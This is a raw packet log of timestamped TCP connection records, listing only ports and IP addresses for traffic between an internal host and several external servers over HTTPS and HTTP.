Nov 28, 2024 02:27:19.931915998 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.931986094 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.931994915 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.932035923 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.936718941 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.936738014 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.936819077 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.936830997 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.936892033 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.938280106 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.938304901 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.938361883 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.938369036 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.938399076 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.938410044 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.944549084 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.944582939 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.944641113 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.944655895 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.944664955 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.944705009 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.945367098 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.945394039 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.945434093 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.945444107 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.945456028 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.945486069 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.950599909 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.950638056 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.950670958 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.950683117 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.950725079 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.950984955 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.952254057 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.952270985 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.952327967 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.952336073 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.952359915 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.952383041 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.955353975 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.955400944 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.955440998 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.955450058 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.955462933 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.955496073 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.967731953 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.967775106 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.967806101 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.967817068 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.967859030 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.967859030 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.972131968 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.972206116 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.972254992 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.972484112 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.972661018 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.972721100 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.972794056 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.972834110 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.972981930 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.973062038 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.974626064 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.974638939 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.974689007 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.974689007 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.975651979 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.975662947 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.975719929 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.976428986 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.976476908 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.977071047 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.977170944 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.977715015 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.977726936 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.977761030 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.978439093 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.978485107 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.978538990 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.978538990 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.978549004 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.978665113 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.979449987 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.979463100 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.979505062 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.979533911 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.979547977 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.979593992 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.979868889 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.979931116 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.980321884 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.980365038 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.980473042 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.980561972 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.983203888 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.983263016 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.983360052 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.983433962 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.984029055 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.984040976 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.984088898 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.984807968 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.984822035 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.984854937 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.985768080 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.985816956 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.985958099 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.986043930 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.986983061 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.987118006 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.987129927 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.987241983 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.988075018 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.988121033 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.988219023 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.988259077 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.989258051 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.989280939 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.989317894 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.989327908 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.989351034 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.989372015 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.989486933 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.989562035 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.989634991 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.989712954 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.990462065 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.990562916 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.999330044 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.999350071 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.999396086 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.999408007 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.999445915 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.999445915 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.006823063 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.006866932 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.006932974 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.006932974 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.006946087 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.007030964 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.013370991 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.013431072 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.013447046 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.013458967 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.013484955 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.013534069 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.050055027 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.050580978 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.050596952 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.051228046 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.051234007 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.059138060 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.059242010 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.059269905 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.059335947 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.059833050 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.059937000 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.060013056 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.060122967 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.060662985 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.060718060 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.060807943 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.060879946 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.061773062 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.061845064 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.061913013 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.061978102 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.062762022 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.062776089 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.062825918 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.062827110 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.063704967 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.063754082 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.063843966 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.063929081 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.064707994 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.064802885 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.064969063 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.065072060 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.065783024 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.065870047 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.065922976 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.065968037 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.066639900 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.066700935 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.066776037 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.066816092 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.067703962 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.067796946 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.067846060 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.067889929 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.068829060 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.068840981 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.068912983 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.069776058 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.069828987 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.069909096 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.069950104 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.070658922 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.070811987 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.070820093 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.070871115 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.071708918 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.071856022 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.071890116 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.071890116 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.072691917 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.072735071 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.072961092 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.073055029 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.073833942 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.073848009 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.073894024 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.074651003 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.074702978 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.074914932 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.075009108 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.075606108 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.075674057 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.075884104 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.075958967 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.076833963 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.076913118 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.076989889 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.077069044 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.077687979 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.077755928 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.077971935 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.078088045 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.078706026 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.078809977 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.078865051 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.078912973 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.079699039 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.079818010 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.079852104 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.080049992 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.080724955 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.080823898 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.080887079 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.081027031 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.081661940 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.081821918 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.081835032 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.081895113 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.082726002 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.082902908 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.082998037 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.083307028 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.083688974 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.083776951 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.083827972 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.083914042 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.084675074 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.084822893 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.084825039 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.084918022 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.085725069 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.085887909 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.085969925 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.086708069 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.086843967 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.086875916 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.087244034 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.087717056 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.087873936 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.087888956 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.088004112 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.094707012 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.094737053 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.094825983 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.094825983 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.094841003 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.094933987 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.096623898 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.096647024 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.097008944 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.097019911 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.097223997 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.101560116 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.101711988 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.101716042 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.101811886 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.102572918 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.102593899 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.102798939 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.102813959 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.102993965 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.102996111 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.103014946 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.103070974 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.103070974 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.104326963 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.104340076 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.104764938 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.105036974 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.105058908 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.105247021 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.105258942 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.105355024 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.105897903 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.105911016 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.105982065 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.105982065 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.106542110 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.106689930 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.107300997 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.107517004 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.108108044 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.108675957 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.108851910 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.109026909 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.109744072 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.109759092 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.110016108 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.111547947 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.111572027 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.111882925 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.111893892 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.113966942 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.113984108 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.114058971 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.114059925 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.114065886 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.114094973 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.114207029 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.118827105 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.118855953 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.118943930 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.118943930 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.118952036 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.119070053 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.120950937 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.120970011 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.121062040 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.121062040 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.121069908 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.121349096 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.125432968 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.125456095 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.125576019 CET	49733	443	192.168.2.6	150.171.27.10
